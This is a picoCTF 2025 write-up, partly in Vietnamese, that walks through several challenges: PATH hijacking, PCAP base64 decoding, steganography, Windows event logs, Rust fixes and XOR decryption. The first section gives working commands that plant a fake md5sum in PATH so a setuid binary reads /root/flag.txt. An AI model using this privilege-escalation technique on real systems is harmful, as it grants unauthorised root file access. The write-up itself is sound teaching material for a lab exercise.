# WRITE-UP FOR PICOCTF 2025
## I. BINARY EXPLOITATION
### 1. hash-only-1:
> Here is a binary that has enough privilege to read the content of the flag file but will only let you know its hash. If only it could just give you the actual content!
> Additional details will be available after launching your challenge instance.
When we start the file flasgasher, it appearance the information:
```
ctf-player@pico-chall$ ./flaghasher
Computing the MD5 hash of /root/flag.txt....
3daf8ce91eaaba82780562d65223e131 /root/flag.txt
```
```
flaghasher: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=c4fbd07a602b4570abdcfe273078247bdc96b5b2, for GNU/Linux 3.2.0, not stripped
```
```ubuntu
ctf-player@pico-chall$ ls -l
total 20
-rwsr-xr-x 1 root root 18312 Mar 6 03:45 flaghasher
```
We make the directory name bin and fake a command that reads the flag in the md5sum output
``` ubuntu
ctf-player@pico-chall$ mkdir ~/bin
ctf-player@pico-chall$ echo '#!/bin/bash' > ~/bin/md5sum
ctf-player@pico-chall$ echo 'cat /root/flag.txt' >> ~/bin/md5sum
```
Now we will grant execution permissions and run the `flaghasher` file again.
```
ctf-player@pico-chall$ chmod +x ~/bin/md5sum
ctf-player@pico-chall$ export PATH=~/bin:$PATH
ctf-player@pico-chall$ ./flaghasher
```
Flag:
## II. FORENSICS
### 1. Ph4nt0m 1ntrud3r:
> A digital ghost has breached my defenses, and my sensitive data has been stolen! 😱💻 Your mission is to uncover how this phantom intruder infiltrated my system and retrieve the hidden flag.
> To solve this challenge, you'll need to analyze the provided PCAP file and track down the attack method. The attacker has cleverly concealed his moves in well timely manner. Dive into the network traffic, apply the right filters and show off your forensic prowess and unmask the digital intruder!
> Find the PCAP file here Network Traffic PCAP file and try to get the flag.
We have three hints here:
Hint 1: Filter your packets to narrow down your search.
Hint 2: Attacks were done in timely manner.
Hint 3: Time is essential
When analyzing a PCAP file using Wireshark, in the packet information section, we see an encoded base x86 string at the end. We receive the following strings filtered by packet timestamp order (according to hint 3):
> RMq+wTM=
> 9DpIbkA=
> Tclg/3s=
> QKzFX+c=
> OwFeP0M=
> 7uDCclg=
> 4pcYwTg=
> 2d71KZI=
> 6w46Q70=
> RHxhtS4=
> Z1Gdyjk=
> qo9qpiY=
> JbG2Q7w=
> oFpZPG8=
> hKvZKGA=
> cGljb0NURg==
> ezF0X3c0cw==
> bnRfdGg0dA==
> XzM0c3lfdA==
> YmhfNHJfOQ==
> NjZkMGJmYg==
> fQ==
Looking at the list of Base64-encoded strings, some of them appear to be parts of a flag. The notable strings are:
> cGljb0NURg==
> ezF0X3c0cw==
> bnRfdGg0dA==
> XzM0c3lfdA==
> YmhfNHJfOQ==
> NjZkMGJmYg==
> fQ==
Continuing to decode the remaining Base64 strings, we get the flag:
``` ubuntu
cat <<EOF | base64 -d
cGljb0NURg==
ezF0X3c0cw==
bnRfdGg0dA==
XzM0c3lfdA==
YmhfNHJfOQ==
NjZkMGJmYg==
fQ==
EOF
```
### 2. RED:
> RED, RED, RED, RED
> Download the image: 
The goal is likely to uncover a hidden message or flag within the image, possibly using steganography or metadata analysis.
If there is hidden data in the color bits, zsteg may be able to find it. Run: zsteg red.png
```
meta Poem .. text: "Crimson heart, vibrant and bold,\nHearts flutter at your sight.\nEvenings glow softly red,\nCherries burst with sweet life.\nKisses linger with your warmth.\nLove deep as merlot.\nScarlet leaves falling softly,\nBold in every stroke."
b1,rgba,lsb,xy .. text: "cGljb0NURntyM2RfMXNfdGgzX3VsdDFtNHQzX2N1cjNfZjByXzU0ZG4zNTVffQ==cGljb0NURntyM2RfMXNfdGgzX3VsdDFtNHQzX2N1cjNfZjByXzU0ZG4zNTVffQ==cGljb0NURntyM2RfMXNfdGgzX3VsdDFtNHQzX2N1cjNfZjByXzU0ZG4zNTVffQ==cGljb0NURntyM2RfMXNfdGgzX3VsdDFtNHQzX2N1cjNfZjByXzU0ZG4zNTVffQ=="
b1,rgba,msb,xy .. file: OpenPGP Public Key
b2,g,lsb,xy .. text: "ET@UETPETUUT@TUUTD@PDUDDDPE"
b2,rgb,lsb,xy .. file: OpenPGP Secret Key
b2,bgr,msb,xy .. file: OpenPGP Public Key
b2,rgba,lsb,xy .. file: OpenPGP Secret Key
b2,rgba,msb,xy .. text: "CIkiiiII"
b2,abgr,lsb,xy .. file: OpenPGP Secret Key
b2,abgr,msb,xy .. text: "iiiaakikk"
b3,rgba,msb,xy .. text: "#wb#wp#7p"
b3,abgr,msb,xy .. text: "7r'wb#7p"
b4,b,lsb,xy .. file: 0421 Alliant compact executable not stripped
```
zsteg has found a hidden Base64 string in the image, decode it using the command.
```
echo "cGljb0NURntyM2RfMXNfdGgzX3VsdDFtNHQzX2N1cjNfZjByXzU0ZG4zNTVffQ==" | base64 -d
```
### 3. Event-Viewing:
> One of the employees at your company has their computer infected by malware! Turns out every time they try to switch on the computer, it shuts down right after they log in. The story given by the employee is as follows:
> They installed software using an installer they downloaded online
> They ran the installed software but it seemed to do nothing
> Now every time they bootup and login to their computer, a black command prompt screen quickly opens and closes and their computer shuts down instantly.
> See if you can find evidence for the each of these events and retrieve the flag (split into 3 pieces) from the correct logs!
> Download the Windows Log file here
We have 2 hints:
Hint 1: Try to filter the logs with the right event ID
Hint 2: What could the software have done when it was ran that causes the shutdowns every time the system starts up?
We run file in Event Viewer. Use Filter Current Log and filter with ID for each event.
In the description and hint 2 decide that when they bootup and login to their computer, a black command prompt screen quickly opens and closes and their computer shuts down instantly. We try to filter with three types IDsrelated to the shutdowns instably: 1074, 1033, 4657
We find some encoded base x86 strings in General field:
```
cGljb0NURntFdjNudF92aTN3djNyXw==
MXNfYV9wcjN0dHlfdXMzZnVsXw==
dDAwbF84MWJhM2ZlOX0=
```
### 4. flag and stepic:
> A group of underground hackers might be using this legit site to communicate. Use your forensic techniques to uncover their message
> Additional details will be available after launching your challenge instance.
Hint:
In the country that doesn't exist, the flag persists.
We can find the flag of Upanzi, Republic The which is not a country.
We start to analyze the png file:
```
stepic --decode --image-in=upz.png --out=output.txt
cat output.txt
```
We finally find the flag
## III. GENERAL SKILLS
## 1. Rust fixme 1:
Cargo is Rust's package manager and will make your life easier. See the getting started page here
Hint 1: println!
Hint 2: Rust has some pretty great compiler error messages. Read them maybe?
#### Dấu chấm phẩy thiếu ở dòng khai báo biến `key`
```rust
let key = String::from("CSUCKS"); // Cần dấu chấm phẩy ở cuối câu lệnh
```
#### `ret;` không hợp lệ trong Rust
Thay vì `ret;`, dùng `return;` hoặc `return Err(...);` nếu cần trả về lỗi.
```rust
if res.is_err() {
return; // Hoặc có thể xử lý lỗi phù hợp
}
```
#### Lỗi cú pháp trong `println!`
Lệnh `println!` cần một chuỗi định dạng hợp lệ `{}` để in biến:
```rust
println!("{}", String::from_utf8_lossy(&decrypted_buffer));
```
Sau khi sửa lỗi:
```
cargo run
```
Flag:
Finished `dev` profile [unoptimized + debuginfo] target(s) in 0.40s
Running `target/debug/rust_proj`
picoCTF{4r3_y0u_4_ru$t4c30n_n0w?}
## 2. Rust fixme 2:
#### Thiếu dấu chấm phẩy
Dòng này bị thiếu dấu `;` ở cuối:
```rust
let key = String::from("CSUCKS");
```
---
#### `ret;` không hợp lệ
Trong Rust, không có từ khóa `ret`. Để dừng hàm khi gặp lỗi, ta dùng `return;`:
```rust
if res.is_err() {
return;
}
```
#### `println!` sai cú pháp
Trong Rust, để in một biến bằng `println!`, ta cần đặt `{}`:
```rust
println!("{}", String::from_utf8_lossy(&decrypted_buffer));
```
Sau khi sửa lỗi:
```sh
cargo run
```
Flag:
Finished `dev` profile [unoptimized + debuginfo] target(s) in 0.29s
Running `target/debug/rust_proj`
Using memory unsafe languages is a: PARTY FOUL! Here is your flag: picoCTF{4r3_y0u_h4v1n5_fun_y31?}
## 3. Rust fixme 3:
#### Phần unsafe bị comment lại (// unsafe {})
Rust không cho phép truy cập con trỏ thô (from_raw_parts) trong vùng an toàn.
Không cần dùng con trỏ thô (from_raw_parts)
decrypted_buffer đã là Vec<u8>, có thể dùng trực tiếp.
Nên thay thế bằng cách dùng &decrypted_buffer thay vì con trỏ thô.
#### Bỏ comment `unsafe`
```rust
unsafe {
let decrypted_buffer = xrc.decrypt_vec(encrypted_buffer);
// Tạo con trỏ và chiều dài
let decrypted_ptr = decrypted_buffer.as_ptr();
let decrypted_len = decrypted_buffer.len();
// Truy cập con trỏ thô trong vùng unsafe
let decrypted_slice = std::slice::from_raw_parts(decrypted_ptr, decrypted_len);
borrowed_string.push_str(&String::from_utf8_lossy(decrypted_slice));
}
```
#### Dùng trực tiếp `decrypted_buffer` (Không cần `unsafe`)
Thay vì dùng con trỏ thô, có thể viết đơn giản như sau:
```rust
let decrypted_buffer = xrc.decrypt_vec(encrypted_buffer);
borrowed_string.push_str(&String::from_utf8_lossy(&decrypted_buffer));
```
Sau khi sửa lỗi:
```sh
cargo run
```
Flag:
Compiling rayon-core v1.12.1
Compiling rayon v1.10.0
Compiling xor_cryptor v1.2.3
Compiling rust_proj v0.1.0 (/mnt/c/ALL WE NEED HERE/CTF/picoctf/pico2025/gen/ru3/fixme3)
Finished `dev` profile [unoptimized + debuginfo] target(s) in 6.15s
Running `target/debug/rust_proj`
Using memory unsafe languages is a: PARTY FOUL! Here is your flag: picoCTF{n0w_y0uv3_f1x3d_1h3m_411}
## IV. REVERSE ENGINEEERING
### 1. Tap into Hash:
> Can you make sense of this source code file and write a function that will decode the given encrypted file content?
> Find the encrypted file here. It might be good to analyze source file to get the flag.
> Hint 1: Do you know what blockchains are? If so, you know that hashing is used in blockchains.
> Hint 2: Download the encrypted flag file and the source file and reverse engineer the source file.
Đầu tiên, chúng ta cần tính giá trị key_hash từ Key được cung cấp
```python
key = b'\x1d,\x18.\x8a\xe7vt>j\xfb)s\xc4W\xcdD\x83\xa7\xf0\xdfQS\xd7\xec5=zw\x8e(\xec'
key_hash = hashlib.sha256(key).digest()
print("Key Hash:", key_hash.hex())
```
Ta được Key Hash: b9aff474083115232a8c10a4fc5617a33d00c5e8b943e52bf32e2780b76917bd
Encrypted Blockchain được mã hóa bằng cách XOR từng khối 16 byte của plaintext với key_hash, ta có thể giải mã bằng cách XOR lại Encrypted Blockchain với key_hash.
```python!
# Encrypted Blockchain
encrypted = b'\xdf\x97\xc6\x10k\x00#BN\xbc%\x96\xc8b\'\xc0\x8b\xc9\x96Gk\x07w\x17\x1a\xbf%\xc1\xc92v\xc7\x8b\x97\x90B1\x06p@\x1e\xbcq\x97\xc9g \xc7\x8d\x9b\xc6F=Ww\x13L\xe9 \x97\xc8o/\xc6\x94\x9f\xc4A8R!\x11\x13\xbc!\xc1\xccot\x93\x81\xca\xc7\x17mS&AH\xee \x96\x99`r\x97\x89\x9b\xc2@8R#A\x1e\xe9 \x93\xc8`u\x93\x8c\xc9\x97G;\x08-\x1b\x1c\xb8$\x9d\x9f`t\x9a\x8e\x82\xc4D1R"\x15I\xee \xc7\x9d3%\xc2\x8e\x96\xc6EjRt\x14\x1f\xbf!\x97\xc5d\'\xc1\x8e\x9e\x84\x1dk^Vwl\xf7r\xc8\x935|\xfc\x8a\xfc\xa6\x1c^XGA~\xbda\xc7\xa4\tO\xf6\xd3\xe2\xc4\x06<\x08vku\xfdS\xde\x91\x1cM\xd9\xfb\xe4\xabLjS"AI\xbf(\xd9\xc9`"\x94\x8e\x96\x91CjT#GI\xbds\xc2\x9fe\'\x91\x8d\xcd\x95C9Pw\x17H\xbft\xc1\xd1f\'\x9b\xdd\x98\x90Dj\x02-\x1bK\xbfr\x90\x9e3s\x9b\x8e\x9c\x95\x17;\x08#\x16N\xba(\x90\xcd0u\x93\x8a\xca\xc2AkW-AH\xbc%\x95\xcbb"\x9b\x8a\x99\xcd\x11<\x05,GK\xba)\x90\x99{\'\x93\xda\x9c\x91EiPt\x14O\xbeu\x92\x993.\x9b\x89\xcd\xc1DmR%\x13\x1c\xbdr\x91\xcb`r\x96\x8c\xca\xc5\x17jRv@L\xb9 \xc7\xcd4.\x97\x80\x9d\x90\x17kR"\x15\x1e\xeeu\xc7\x9dd\x15\xa1'
# Key_hash
key_hash = bytes.fromhex('b9aff474083115232a8c10a4fc5617a33d00c5e8b943e52bf32e2780b76917bd')
# Hàm XOR
def xor_bytes(a, b):
return bytes(x ^ y for x, y in zip(a, b))
# Giải mã
block_size = 16
plaintext = b''
for i in range(0, len(encrypted), block_size):
block = encrypted[i:i + block_size]
plain_block = xor_bytes(block, key_hash[:16]) # Lấy 16 byte đầu của key_hash
plaintext += plain_block
# In kết quả plaintext
print("Plaintext (bytes):", plaintext)
```
Sau khi chạy ta được kết quả:
Plaintext (bytes): b'f82dc16ad052440c2fb3c6b4035e5dad28d697ec40a3517d44225fb0fe03498e-0050c42901e09c08e3ceb3bbb02e6e404640c6b4e0746b05fc339886449c6c97-009c76cb0cae2a7921bca75313920b71picoCTF{block_3SRhViRbT1qcX_XUjM0r49cH_qCzmJZzBK_8bb7bc38}565779e7be6dc1cfc3024ba71ab4b3de-008d7d0b388a3b4bed873ac3965d6841fb03e65cf8bb0517458369e449da694e-00c3e1aaa7e2e6ee980b50ec0061b576e55e1cbcccf50c1b9492dccc764beca2\x02\x02'
Flag: picoCTF{block_3SRhViRbT1qcX_XUjM0r49cH_qCzmJZzBK_8bb7bc38}